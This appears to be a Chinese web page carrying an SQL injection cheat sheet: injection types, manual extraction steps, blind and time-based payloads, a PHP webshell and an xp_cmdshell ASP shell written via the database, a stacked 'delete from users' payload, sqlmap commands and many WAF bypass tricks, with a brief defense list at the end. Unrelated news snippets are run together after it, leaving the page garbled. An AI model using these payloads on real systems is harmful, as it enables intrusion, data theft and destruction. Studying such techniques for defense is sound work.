范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文

科普基础最全的SQL注入总结

  0x01 SQL注入原理
  当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。
  攻击者通过构造不同的sql语句来实现对数据库的任意操作。 0x02 SQL注入的分类
  按变量类型分:数字型和字符型
  按HTTP提交方式分:POST注入、GET注入和Cookie注入
  按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入
  按数据库类型分: sql:oracle、mysql、mssql、access、sqlite、postgersql nosql:mongodb、redis0x03 MySQL与MSSQL及ACCESS之间的区别
  1.MySQL5.0以下没有information_schema这个默认数据库
  2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释 举例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`
  3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用) 0x04 判断三种数据库的语句MySQL:and length(user())>10  ACCESS:and (select count(*)from MSysAccessObjects)>0  MSSQL:and (select count(*)from sysobjects)>00x05 基本手工注入流程
  1.判断注入点 数字型:id=2-1 字符型:" 、")、 "))、 "、 ")、 ")) 注释符:-- (这是--空格)、--+、/**/、#
  2.获取字段数
  order by 二分法联合查询字段数,观察页面变化从而确定字段数 order by 1  order by 50
  group by 译为分组,注入时也可使用,不过我没用过
  3.查看显示位尝试使用联合注入
  利用and 1=2或and 0及id=-12查看显示数据的位置
  替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名) and 1=2 union select version(),2,3
  再查询所有数据库 and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3
  查询所有表名 union select (select group_concat(table_name)from information_schema.tables),2,3
  查询所有字段名 union select (select group_concat(column_name)from information_schema.columns),2,3
  查询字段内容
  如:查询test库下users表的id及uname字段,用"~"区分id和uname以防字符连接到一起 union select(select group_concat(id,"~",uname)from test.users),2,30x06 报错注入
  通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));0x07 布尔盲注
  盲注中常用的函数:
  1.char() 解ASCII码
  2.mid()截取字符串 举例:mid("hello",1,3),从第1位开始截取3位,输出位hel
  3.substr()与mid()相同,都为截取字符串
  4.count()计算查询结果的行数
  5.concat()查询结果合并但保持原有行数
  6.group_concat()查询结果合并但都放在一行中
  7.ascii() 查询ascii码
  猜数据库长度(利用二分法) id=1 and (length(database()))>1 id=1 and (length(database()))>50
  猜第一个字符,第二个字符,以此类推 and ascii(mid(database(),1,1))>1 and ascii(mid(database(),2,1))>1
  查询当前数据库中所有表名 and (select count(table_name)from information_schema.tables where tables_schema=database())>1 and (select count(table_name)from information_schema.tables where tables_schema=database())>10
  查询第一个表的长度 and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10
  查询表的第一个字符 and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
  查询atelier表里有几个字段 and(select count(column_name)from information_schema.columns where table_name = "atelier" and table_schema = database())>2
  查询第一个字段长度 and length((select column_name from information_schema.columns where table_name="atelier" and table_schema= database()limit 0,1))>1
  查询字段第一个字符 and ascii(mid((select column_name from information_schema.columns where table_schema = "db83231_asfaa" and TABLE_NAME ="atelier" limit 0,1),1,1))>105
  查询字段所有行数 and (select count(*) from db83231_asfaa.atelier)>4
  查询字段名的行数(查询emails表,uname字段) and (select count(uname)from security.emails)>7  查询uname的行数
  查询字段内容 length((select username from security.users limit 0,1))>10 ascii(mid((select username from security.user limit 0,1),1,1))>100
  将查询到的ASCII码放到mysql中查询
  举例:select char(39);
  0x08 延时盲注
  利用sleep(3)和if(1=2,1,0)及case进行延时注入,示例: select * from user where id="1" or sleep(3) %23
  这个没什么好说的 select * from user where id= 1 and if(length(version())>10,sleep(3),0);
  如果长度大于10,则睡3秒,其他则0秒 select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;
  case定义条件,when 后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。 0x09 多语句注入
  多语句意思就是可以执行多个语句,利用分号进行隔开 示例:id=1";WAITFOR DELAY "0:0:3";delete from users; --+ id=1";select if(length(user(),1,1)>1,sleep(3),1) %23 ";select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %230x10 内联注入举例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
  利用别名: union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)0x11 getshellid=-1" union select 1,2,(select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/404.php") --+
  也可使用dumpfile进行写入
  outfile和dumpfile的区别:
  outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。
  数据库写入: exec master..xp_cmdshell "echo "<%eXECutegLobaL rEquEst(0)%>" > "c:wwwuploadFiles2019-11404.asp""0x12 宽字节注入
  当编码位gbk时,%df%27或%81%27数据为空
  就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符反斜杠,闭合之后页面恢复正常,存在宽字节注入
  测试出来就可以使用sqlmap跑了,23333
  加*构造注入点(比-p更稳定),让sqlmap对构造注入点进行注入攻击(*优先级更高)
  宽字节防御:
  第10行代码必须和第24行必须同时使用,要么就更换编码格式 0x13 二次编码注入
  代码中有urldecode() 函数
  %2527 先解码成%27再解码成"单引号 sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"
  -prefix为设置前缀 -suffix为设置后缀
  设置后缀,防止sqlmap使用内联注 0x14 二次注入
  abc" 数据经过addslashes过滤,单引号前面添加反斜杠abc",但传到数据库的数据还是abc"
  假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test",接下来访问xxx.php?username=test",页面返回id=22;
  接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。
  访问xxx.php?id=test" union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。 0x15 XFF头注入update user set loat_loginip = "8.8.8.8" where id =1 and sleep(5) #" where username = "zs";
  id根据网站用户量取一个中间值,测试是否有注入,利用插件设置XFF头,如果网站不报错,可尝试此注入
  X-Forward-For:127.0.0.1" select 1,2,user() 0x16 常用过WAF技巧1.特征字符大小写(基本没用)UnIoN SeLcT 1,2,32.内联注释id=-1/*!UNION*/%20//*!SELECT*/%201,2,33.特殊字符代替空格%09 tab键(水平)、%0a 换行、%0c 新的一页 %0d return功能、%0b tab键(垂直)、%a0空格4.等价函数和逻辑符号hex()、bin()==>ascii() sleep()==>benchmark() concat_ws()==>group_concat() mid()、substr()==>substring() @@version==>version() @@datadir==>datadir() 逻辑符号:如and和or不能使用时,尝试&&和||双管道符。5.特殊符号反引号,select `version()`,绕过空格和正则 加号和点,"+"和"."代表连接,也可绕过空格和关键字过滤 @符号,用于定义变量,一个@代表用户变量,@@代表系统变量6.关键字拆分"se"+"lec"+"t" %S%E%L%C%T 1,2,3 ?id=1;EXEC("ma"+"ster..x"+"p_cm"+"dsh"+"ell"net user"") !和():"or--+2=--!!!"2 id=1+(UnI)(oN)+(SeL)(EcT)7.加括号绕过
  小括号 union (select+1,2,3+from+users)%23 union(select(1),(2),(3)from(users)) id=(1)or(0x50=0x50) id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))
  花括号 select{x user}from{x mysql.user} id=-1 union select 1,{x 2},38.过滤and和or下的盲注id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23 id=strcmp(left((select+username+from+limit+0,1),1,0x42)%239.白名单绕过
  拦截信息: GET /pen/news.php?id=1 union select user,password from mysql.user
  绕过: GET /pen/news. php/admin?id=1 union select user,password from mysql. user GET /pen/admin/.. ews. php?id=1 union select user,password from mysql. user10.HTTP参数控制
  (1)HPP(HTTP Parmeter Polution)(重复参数污染)
  举例: index.php?id=1 union select username,password from users index.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users
  HPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同。
  具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过
  (2)HPF(HTTP Parmeter Fragment)(HTTP分割注入)
  HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
  举例: /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—0x17 SQL注入防御
  1.对用户输入的内容进行转义
  2.限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度
  3.使用SQL语句预处理,对SQL语句进行预编译,然后进行参数绑定,最后传入参数
  4.添加WAF,防火墙等

中国最能打的五个省之东北军,滇军,湘军篇东北一东北军在中国抗日战争的历史上,唯一一支坚持14年抗战的军队,就是东北军。九八事变之后,东北军的内部发生了一次分化,其中一部分遵从了蒋介石的不抵抗政策,撤离了东北,还剩下一部分这个委员是真敢说啊,胆子太大了,但却引来一片掌声,必须顶起来今天是2023年3月7日,是两会的第三天,据说今天两会的委员们都提出了建议,引起了全网网友的热烈讨论和轰动,赢得了广大网友的掌声和好评。public。而且很多人说他真的敢提这个委员湖南省建设工程材料价格信息管理办法的解读转载来源httpzjt。hunan。gov。cnzjtxxgkxinxigongkaimuluzcjd202303t2023030929268546。html湖南省住房和城乡建设厅54岁的王菲凭什么能被谢霆锋爱这么多年,其实真相俗套又露骨消失许久的王菲在3月11日冲上了热搜,媒体拍到谢霆锋与王菲牵手共同走出机场的画面。提起王菲,那真是70后80后甚至90后迷一样的存在,听她歌长大的大有人在。被誉为乐坛天后的她,风靡注意!湖南省植物园门票紧张,建议游客约到门票再出行湖南省植物园进入赏花高峰期。3月12日,湖南省植物园发布出行提示,入园门票紧张,请大家提前预约好门票再出行,请没有约到门票的游客不要前往省植物园,可选择其他景区。省植物园实行免费开油菜花开遇见春天3月11日,资兴市蓼江镇,油菜花田里一幅巨大的春天2023造型映入眼帘,吸引了大批游客前来踏春赏花。近年,该镇充分利用冬春闲置土地,大力实施稻油轮作项目,打造的万亩油菜花海,成为当星二代泛滥成灾,这种畸形的世袭制何时才能休?曾几何时,有众多如周星驰王宝强赵丽颖这样的龙套演员凭借自身努力让导演看中,在娱乐圈中缔造一个又一个追梦的神话。但是不知道什么时候,越来越多长相一般演技一般各方面均平平的演员出现在众境外媒体中国两会唱响高质量发展强音报道今年全国两会的境外媒体指出,从此次两会可见,高质量发展将是治国理政主线,两会将对世界产生重大影响。巴基斯坦国家报网站3月10日在题为2023年中国两会的报道中说,世界逐渐承认,安徽90后小哥把女儿放在外卖箱里送外卖,现如今过得怎么样?2019年,一名6个月大的女孩坐在外卖盒里,她的笑脸在网上走红。当时父亲李元元刚好送完饭回家,她看到了他,从锅里探出头来,露出天真无邪的笑容。李元元看到女儿的笑容,心都软了。那李媛表面是艺人,实际是大学老师的10位明星,他们的口碑为何如此不同头条创作挑战赛娱乐圈是个藏龙卧虎之地,在唱歌演戏之余,明星们大多还有着其他的身份。他们有的是商人,赚了个盆满钵满,有的是老师,桃李满天下。下面就让我们一起看一看,那些在娱乐圈有着一袁浈乔演唱郴州是我的家感人热泪火热发行袁浈乔郴州是我的家郴州是一个人杰地灵,山清水秀的地方,也是我的家乡,郴州是我的家这首歌曲演绎了远在他乡的我,对家乡的那一份思念和情怀,由郭传武马安军龙燕芳共同作词,音乐人徐健淇老师
丹麦羽毛球公开赛即时赛果及明日对阵10月18日,国际羽联丹麦公开赛开打,截止北京时间2300,首日多场比赛已经结束,国羽一路长虹,胜多负少,即时赛果如下一男子单打骆建佑20(21132220)塔马辛斯里坎斯21(1中国停止对欧供应液化天然气,美媒煽风点火将加重欧洲能源危机据美媒报道,10月17日,中方已经要求国有天然气进口商停止向欧洲和亚洲能源紧缺的买家转售液化天然气,以确保自身在冬季供暖季的供应,事实上,中国叫停天然气公司向其他国家转售天然气,也支付宝携手微信上热搜,网友表示有大动作了10月16日,支付宝一度登上微博热搜,这次登上热搜竟与微信密切相关。原因是支付宝转账新增了转微信好友功能。可以想象该功能实在是太方便了。支付宝用户设置好金额,微信用户用支付宝扫描二万事万物到底起源于何处?或许一切都是完美的轮回宇宙万物到底起源于哪里?人类古代文明对此有很多种描述,不同的文明都有自己的创始理论,告诉我们人类到底来自何处,又将去往哪里。不过科学并不能像神话故事那样去无限地遐想,科学上的创始说去版纳集贸市场,感受属于版纳人的白日人间烟火作家汪曾祺说到了一个地方,有人爱逛百货公司,有人爱逛书店,我宁可去逛逛菜市。看看生鸡活鸭新鲜水灵的瓜菜彤红的辣椒,热热闹闹,挨挨挤挤,让人感到一种人生之乐趣。西双班纳的菜市场,同样喜迎二十大东莞凤岗建设湾区人工智能特色小镇中国小康网独家专稿文小康中国小康网高睿有珠三角地区工业重镇之称的凤岗镇发挥优势,以京东项目天安数码城项目为两核心,建设高品质创新发展平台。同时,凤岗推进机制创新,激发特色小镇发展活能换电的自动驾驶重卡来了!第363批公示牵引车还有哪些怪兽第一商用车网原创作为今年金九银十氛围下的第二批的公示,牵引车市场有哪些新风向?近日,工信部发布第363批新车公示,牵引车方面有29款申报在榜。其中,国六牵引车仅2款,均为柴油动力新剑桥大学研究过度依赖AI语音助手可能影响儿童智力和情商英国剑桥大学的一项研究指出,长期使用人工智能AI语音助手可能会阻碍孩子的思维发育和社交能力。近年,许多父母会购买人工智能驱动的语音助手作为家庭设备,甚至让它们参与家庭教育。英国一项华为下一代黑科技曝光双向卫星通信华为Mate50系列手机的卫星通信受到众多关注,用户在无地面网络的情况下,可以通过北斗三号短报文服务发送地理位置和紧急信息。新的消息显示,华为的下一代技术将更进一步,支持双向收发短国内是否有氢能源内燃机?这几家企业已经实验成功近年来随着环境变化和资源的紧缺,新能源卡车逐渐的成为了主流趋势,虽然现在应用最多的就是电动卡车,但是电动卡车还有着很大的技术壁垒,比如续航和充电时间都是在短时间内无法解决的问题,在31省份9月CPI出炉16地涨幅低于全国,海南等3地涨幅收窄中新经纬10月18日电(王永乐)日前,国家统计局公布了31省份2022年9月居民消费价格指数(CPI)。中新经纬梳理发现,9月,28省份CPI同比涨幅高于上月。其中,四川最高为涨3